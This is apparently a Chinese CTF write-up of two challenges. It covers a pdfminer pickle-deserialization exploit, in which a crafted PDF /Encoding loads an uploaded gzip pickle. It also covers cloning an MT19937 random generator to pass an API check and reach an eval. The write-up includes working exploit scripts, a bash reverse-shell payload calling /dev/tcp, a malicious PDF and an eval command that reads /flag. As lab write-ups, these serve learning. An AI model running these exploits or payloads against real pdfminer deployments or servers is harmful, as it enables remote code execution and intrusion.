pdf2text pdf转txt的工具 源码审了审 没发现东西 给了hint pickle.loads
在pdfminer这个库 找到唯一一个pickle.loads的点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 class CMapDB : _cmap_cache: Dict [str , PyCMap] = {} _umap_cache: Dict [str , List [PyUnicodeMap]] = {} class CMapNotFound (CMapError ): pass @classmethod def _load_data (cls, name: str ) -> Any : name = name.replace("\0" , "" ) filename = "%s.pickle.gz" % name log.debug("loading: %r" , name) cmap_paths = ( os.environ.get("CMAP_PATH" , "/usr/share/pdfminer/" ), os.path.join(os.path.dirname(__file__), "cmap" ), ) for directory in cmap_paths: path = os.path.join(directory, filename) if os.path.exists(path): gzfile = gzip.open (path) try : return type (str (name), (), pickle.loads(gzfile.read())) finally : gzfile.close() raise CMapDB.CMapNotFound(name) 这段代码的作用是 CMapDB 是一个管理 CMap(字符映射表)和 UnicodeMap(Unicode 映射表)缓存的数据库类。 _load_data 方法用于根据映射表名称 name,查找并加载对应的 CMap 数据文件(如 cmap/ 目录下的 pickle.gz 文件),并将其反序列化为 Python 对象。 如果找不到对应的文件,则抛出 CMapNotFound 异常。 代码解释: name.replace("\0" , "" ):去除名称中的空字符,防止异常。 filename = "%s.pickle.gz" % name:拼接出要查找的文件名。 cmap_paths:定义了两个查找路径,优先使用环境变量 CMAP_PATH,否则用当前模块下的 cmap 目录。 遍历 cmap_paths,每个目录下查找 filename 文件。 如果文件存在,使用 gzip 打开并读取内容,然后用 pickle 反序列化为 Python 对象,并用 type 创建一个动态类型对象(名字为 name,内容为解包后的字典)。 如果所有路径都找不到文件,则抛出 CMapNotFound 异常。 简而言之,这段代码的作用是:根据 CMap 名称,自动查找并加载 PDF 字符映射表数据,为后续 PDF 解析和字符转换提供支持。
那么这个题的漏洞点在哪呢 就是我们要覆盖name字符集 来加载恶意的字符集让他pickle反序列化从而达到我们想要的目标
那么问题来了 怎么覆盖这个字符集文件呢?
问ai他说
那么就是在pdf文件里的 /Encoding 指定我们上传的恶意字符集就可以了
最后会通过os.path.join直接加载这个文件
那么现在的思路非常明确了
1.先上传这个恶意的字符集文件 这个文件需要满足绕过对pdf的检查并且可以成功被gzip解压
2.再上传pdf加载这个恶意字符集文件从而触发我们的恶意命令
经过我的测试 当你明文为这个的时候可以绕过对pdf的检测 必须换行
我们可以使用opcode或者pickle直接的数据也是可以的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import gzipimport zlibimport requestspdf = b"""(S\" trailer <</Root 1>> xref \"""" def opcode (): a = '''(S"bash -c 'bash -i >& /dev/tcp/ip/2333 0>&1'" ios system .''' return a.encode() cmap_file = "sauy122.pickle.gz" with gzip.open (cmap_file, 'wb' ) as f: f.write(opcode()) comp = zlib.compressobj(level=0 , method=zlib.DEFLATED, wbits=31 ) gz_bytes = comp.compress(pdf) + comp.flush() with open (cmap_file, "ab" ) as f: f.write(gz_bytes) url = "http://ip/" requests.post(url + "/upload" ,files={"file" : open (cmap_file, 'rb' )})
上传成功后 监听端口就得到
PDF文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 % PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R > > endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 > > endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Resources << /Font << /F1 4 0 R > > > > /Contents 5 0 R > > endobj 4 0 obj << /Type /Font /Subtype /Type0 /BaseFont /HeiseiMin-W3 /Encoding /#2Fapp#2Fuploads#2Fsauy122 /DescendantFonts [6 0 R] > > endobj 5 0 obj << /Length 60 > > stream BT /F1 12 Tf 100 700 Td (Chinese Test) Tj 0 -20 Td (Attack PDF) Tj ET endstream endobj 6 0 obj << /Type /Font /Subtype /CIDFontType0 /BaseFont /HeiseiMin-W3 /CIDSystemInfo << /Registry (Adobe) /Ordering (Japan1) /Supplement 0 > > > > endobj xref 0 7 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n 0000000251 00000 n 0000000369 00000 n 0000000489 00000 n trailer << /Size 7 /Root 1 0 R > > startxref 629 % %EOF
gz文件绕过pdf检测还有一种做法 来源于sc强强强!
1 把pickle数据gzip压一下,然后 0 10editor 把里面表示文件名那一段替换成 odf原文
guess 进去就是三个路由 注册和登录路由 还有一个/api
那么/api是当我们传入的作为key1等于我们随机数key2的时候 可以把我们的payload作为eval(payload, {'__builtin__':{}})
执行命令
那么先看
1 2 def generate_random_string (): return str (rd.getrandbits(32 ))
把这段直接扔浏览器搜索出来第一篇文章就是https://www.cnblogs.com/wandervogel/p/16805983.html
MT19937伪随机数算法
1 mt19937的随机数生成器结构首先需要一个uint32的种子,然后生成一个具有624个uint32数组的状态数组。生成状态数组之后,进行一次旋转,最终可以输出624个随机的uint32。然后重复执行旋转操作。
文章里也写了 我们把624个随机数得到就可以预测接下来的随机数
于是写一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import requestsfrom random import Randomdef invert_right (m, l, val='' ): length = 32 mx = 0xffffffff if val == '' : val = mx i, res = 0 , 0 while i * l < length: mask = (mx << (length - l) & mx) >> (i * l) tmp = m & mask m = m ^ (tmp >> l & val) res += tmp i += 1 return res def invert_left (m, l, val ): length = 32 mx = 0xffffffff i, res = 0 , 0 while i * l < length: mask = (mx >> (length - l) & mx) << (i * l) tmp = m & mask m ^= tmp << l & val res |= tmp i += 1 return res def invert_temper (m ): m = invert_right(m, 18 ) m = invert_left(m, 15 , 4022730752 ) m = invert_left(m, 7 , 2636928640 ) m = invert_right(m, 11 ) return m def clone_mt (record ): state = [invert_temper(i) for i in record] gen = Random() gen.setstate((3 , tuple (state + [0 ]), None )) return gen prng = [] api_url = "http://47.109.207.123:11451/api" while len (prng) < 624 : r = requests.post(api_url, json={"key" :"122" }) num = int (r.json()["message" ].split(":" )[1 ]) prng.append(num) print (len (prng), num) g = clone_mt(prng) for _ in range (624 ): g.getrandbits(32 ) print ("Next 20 predicted random numbers:" )for _ in range (20 ): print (g.getrandbits(32 ))
然后就是执行命令
1 2 {"key" :"3384741307" , "payload" :"__import__('os').system('mkdir /app/static&& cat /flag > /app/static/flag.txt')" }
这样就行